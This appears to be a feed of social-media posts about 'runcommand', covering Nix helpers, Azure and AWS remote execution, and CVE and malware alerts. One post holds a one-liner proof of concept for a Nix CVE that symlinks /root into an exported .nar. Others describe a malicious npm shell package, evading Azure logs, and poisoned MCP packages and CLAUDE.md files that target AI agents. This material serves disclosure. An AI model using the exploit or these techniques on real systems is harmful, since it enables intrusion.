#runcommand
we have `lib.importJSON` and `lib.importTOML` but for the other ones your going to have to use some IFD. It may look something like this

importINI =
path:
importJSON (
runCommand "converted.json" { nativeBuildInputs = [ pkgs.jc ]; } ''
jc --ini < ${path} > $out
''
);
April 23, 2025 at 1:33 PM
Rename admin.exe and runcommand - plushify jes
September 11, 2025 at 4:52 AM
--play Flumpf.wav
--moveto even_deeper_darker_prisonfolder
--runcommand teasethetoy.exe
--play Muhahaha.wav
September 11, 2025 at 8:14 AM
Claude Code on my Mac couldn't see what Hermes was doing on EC2. So I built a signed webhook bridge over Tailscale — SSM RunCommand triggers it, HMAC validates it, and now the two agents actually talk to each other.

https://zackproser.com/blog/webhook-bridge-pattern
May 5, 2026 at 2:01 PM
in that case i'd probably use `runCommand` or `stdenv.mkDeriviation` and replicate a lot of the features. something like gift-wrap really github.com/tgirlcloud/g...
gift-wrap/wrapper.nix at main · tgirlcloud/gift-wrap
Contribute to tgirlcloud/gift-wrap development by creating an account on GitHub.
github.com
August 30, 2025 at 7:58 AM
🚨 ALERT: Malicious #NPM package 🚨 `@lanyer640/mcp-runcommand-server` disguises itself as a legitimate MCP server but spawns a hidden interactive shell to IP 45[.]115.38.27 when executed.

We also Reported this package to NPM.

#Malware #OpenSource #DevOps #DevSecOps #ApplicationSecurity #AppSec 🧵1/2
October 1, 2025 at 4:59 PM
As a product of that work, we've released another helper named run-command-helper for executing system commands cross platform. The package exports a function named runCommand. It may prove useful when writing extensions. See www.npmjs.com/package/@ant... for details.
November 24, 2024 at 7:13 AM
Now that Nix 2.24.6 is out, my oneliner PoC for CVE-2024-45593:

$ nix-store --export $(nix-build -E '(import <nixpkgs> {}).runCommand "exploit" {} "mkdir -p $out/zzz; ln -s /root $out/foo; touch $out/zzz/pwned"') | sed 's/zzz/foo/' > pwned.nar

This creates a .nar which when imported into the […]
Original post on mastodon.delroth.net
mastodon.delroth.net
September 10, 2024 at 6:16 PM
🔧 New Guide: PowerShell Script Automation for Multiple Azure VMs
Learn how to efficiently deploy scripts across your Azure VMs using AzVMRunCommand. Includes tag-based filtering, error handling & a ready-to-use implementation!
Full guide: under-ctrl.com/notes/invoke...

#Azure #PowerShell #DevOps
Invoke Scripts on Multiple Azure VMs
Learn how to efficiently execute PowerShell scripts across multiple Azure VMs using Azure RunCommand and PowerShell automation.
under-ctrl.com
January 9, 2025 at 9:26 PM
🔴 CVE-2025-51958 - Critical (9.8)

aelsantex runcommand 2014-04-01, a plugin for DokuWiki, allows unauthenticated attackers to execu...

https://www.thehackerwire.com/vulnerability/CVE-2025-51958/

#infosec #cybersecurity #CVE #vulnerability #security #patchstack
January 30, 2026 at 7:17 PM
🔴 CVE-2025-51958 - Critical (9.8)

aelsantex runcommand 2014-04-01, a plugin for DokuWiki, allows unauthenticated attackers to execu...

https://www.thehackerwire.com/vulnerability/CVE-2025-51958/

#infosec #cybersecurity #CVE #vulnerability #security #patchstack
January 30, 2026 at 7:17 PM
AutoScaling配下のEC2インスタンス全てにGitでデプロイする仕組みをSystems Manager RunCommandで作りました。

インスタンス落とさずに反映できるのはいいですね。
May 1, 2025 at 3:13 PM
#うひーメモ
2023-11-07 10:43:09
SSM Run Command 実行時「Cannot allocate memory」エラーを回避するには
#技術系ブログ等
#ssmruncommand
#awsrunpatchbaseline
#cannotallocatememory
SSM Run Command 実行時「Cannot allocate memory」エラーを回避するには
困っていることSSMのRunCommandを利用してAWSRunPatchBaseLineを実行しましたがCannotallocatememoryエラーが表示され失敗しました回避方法を教え
dev.classmethod.jp
November 7, 2023 at 1:43 AM
#うひーメモ
2023-11-07 10:29:27
SSM Run Command 実行時「Cannot allocate memory」エラーを回避するには
#技術系ブログ等
#ssmruncommand
#awsrunpatchbaseline
#cannotallocatememory
SSM Run Command 実行時「Cannot allocate memory」エラーを回避するには
困っていることSSMのRunCommandを利用してAWSRunPatchBaseLineを実行しましたがCannotallocatememoryエラーが表示され失敗しました回避方法を教え
dev.classmethod.jp
November 7, 2023 at 1:29 AM
Is there sandbox weirdness going on with :nixos: #nix fixed-output-derivations (i.e. when you specify outputHash) that some tcp connections are disallowed? I can git clone in runCommand, but down the line a 'git annex get' (which internally just downloads another file via http) fails with this […]
Original post on fosstodon.org
fosstodon.org
October 1, 2025 at 11:54 AM
Azure’s Blind Spot: How VM RunCommand Evades Activity Logs – and How Elastic ES|QL Reveals the Truth + Video

Introduction: Azure Activity Logs are the go‑to source for tracking control plane operations, but they have a critical gap: when you execute a script via VM RunCommand, the activity log…
Azure’s Blind Spot: How VM RunCommand Evades Activity Logs – and How Elastic ES|QL Reveals the Truth + Video
Introduction: Azure Activity Logs are the go‑to source for tracking control plane operations, but they have a critical gap: when you execute a script via VM RunCommand, the activity log records that a RunCommand operation occurred, but not the actual command string or its output. On the target Windows VM, all spawned processes run under `NT AUTHORITY\SYSTEM` (SID S-1-5-18) or `root` on Linux, with zero user attribution.
undercodetesting.com
May 22, 2026 at 12:03 PM
Confirmed today: Miasma is poisoning MCP packages + CLAUDE.md across 14/59 campaigns. Our PyPI feed went live this morning already holding 24 malicious MCP packages. https://www.dugganusa.com/post/we-turned-on-a-pypi-feed-this-morning-it-found-24-malicious-mcp-packages-one-named-runcommand-se
June 16, 2026 at 12:25 AM
CVE-2025-30056 - Apache Shell Injection Vulnerability
CVE ID : CVE-2025-30056

Published : Aug. 27, 2025, 11:15 a.m. | 1 hour, 7 minutes ago

Description : The RunCommand function accepts any parameter, which is then passed for execution in the shell. This allows an attack...
CVE-2025-30056 - Apache Shell Injection Vulnerability
The RunCommand function accepts any parameter, which is then passed for execution in the shell. This allows an attacker to execute arbitrary code on the system.
cvefeed.io
August 27, 2025 at 12:40 PM
MCP servers are exposing your entire toolchain right now. 🔥

The protocol flaw? NO auth at connection time. Any process can attach and call tools.

We found 47% of MCP deployments have zero access controls. Attackers can execute code via "readFile" or "runCommand" tools.

Your AI agent's security i
March 19, 2026 at 1:49 AM